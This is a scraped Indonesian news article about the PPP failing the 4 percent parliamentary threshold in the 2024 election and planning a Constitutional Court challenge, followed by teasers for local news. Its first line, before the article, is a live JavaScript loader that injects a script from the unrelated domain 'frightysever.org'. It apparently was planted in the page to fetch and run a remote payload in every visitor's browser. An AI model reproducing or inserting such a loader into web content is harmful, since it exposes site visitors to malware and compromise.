(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Partai Persatuan Pembangunan (PPP) untuk kali pertama dalam sejarah berdirinya gagal lolos ke Senayan. Dalam rapat pleno KPU RI pada Rabu (20/3/2024) malam, PPP tidak lolos ambang batas parlemen atau parliamentary threshold 4 persen.
Selain PPP, Partai Solidaritas Indonesia (PSI) dan 8 partai lain peserta Pemilu 2024 juga tidak lolos ke parlemen. PPP dari hasil rapat pleno KPU RI hanya mendapatkan suara sebanyak 5.878.777 atau 3,87 persen.
Tidak lolosnya PPP ke Senayan di Pemilu 2024 cukup mengejutkan sejumlah pihak. Hal ini lantaran PPP bukan partai baru seperti PSI. PPP merupakan partai lawas yang sudah berdiri sejak 5 Juni 1973.
Baca juga: Warga Gang Damai Kelayan Diserang Kelompok Remaja Bersenjata Tajam
Ketua DPP PPP Achmad Baidowi atau Awiek menegaskan bahwa partainya akan menggugat hasil Pemilu 2024 ke Mahkamah Konstitusi (MK)
“Sesuai ketentuan UU, PPP memiliki waktu 3 hari untuk menyikapi hasil rekapitulasi nasional dengan mengajukan ke MK,” ujarnya.
Hal itu mengejutkan dirinya lantaran PPP gagal memenuhi ambang batas untuk melaju ke Senayan.
Padahal, data internal PPP menunjukkan bahwa partai berlambang ka’bah itu melewati angka 4 persen atau melampaui ambang batas parlemen sebesar 4 persen.
Baca juga: Dishub Kalsel Tambah 5 Armada BRT Banjarbakula, Ambil Alih BTS Teman Bus
Menurut Awiek, hasil perolehan suara KPU berbeda dengan hasil internal PPP.
Oleh karena itu, PPP sudah mempersiapkan tim hukum yang dipimpin pengacara senior Soleh Amin untuk mengajukan gugatan.
“Data-data kami kumpulkan dari DPC dan saat ini sedang verifikasi,” jelasnya.
Kendati demikian, dia mengatakan PPP menghormati hasil rekapitulasi nasional yang diumumkan KPU sebagai bagian dari tahapan pemilu sesuai ketentuan UU Pemilu, yakni 35 hari setelah pemungutan suara.
Baca juga: Pencegahan Korupsi, Pemprov Kalsel Upayakan Survei Penilaian Integritas Naik
PPP sendiri terbentuk setelah empat partai berbasis Islam melebur, keempat partai itu adalah Partai Nahdlatul Ulama (NU), Partai Islam Persatuan Tarbiyah Islamiyah (Perti), Partai Syarikat Islam Indonesia (PSII) dan Partai Muslimin Indonesia (Parmusi).
Di awal berdiri sebagai partai, PPP pertama kali dipimpin oleh Mohammad Syafa’at Mintaredja, mantan Mensos di era Orde Baru. Berdirinya PPP sendiri tak lepas dari kebijakan Soeharto sebagai Presiden di era 1970-an.
Baca juga: Empat Tahun Eksekusi Kandang Babi di Guntung Manggis Tertunda
Jelang Pemilu 1973, Soeharto menginginkan penyederhanaan sistem kepartaian di Indonesia. Soeharto ingin agar partai politik dikurangi menjadi dua atau tiga saja dan partai-partai tersebut dikelompokkan berdasarkan programnya. (Suara.com/kk)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
This website uses cookies.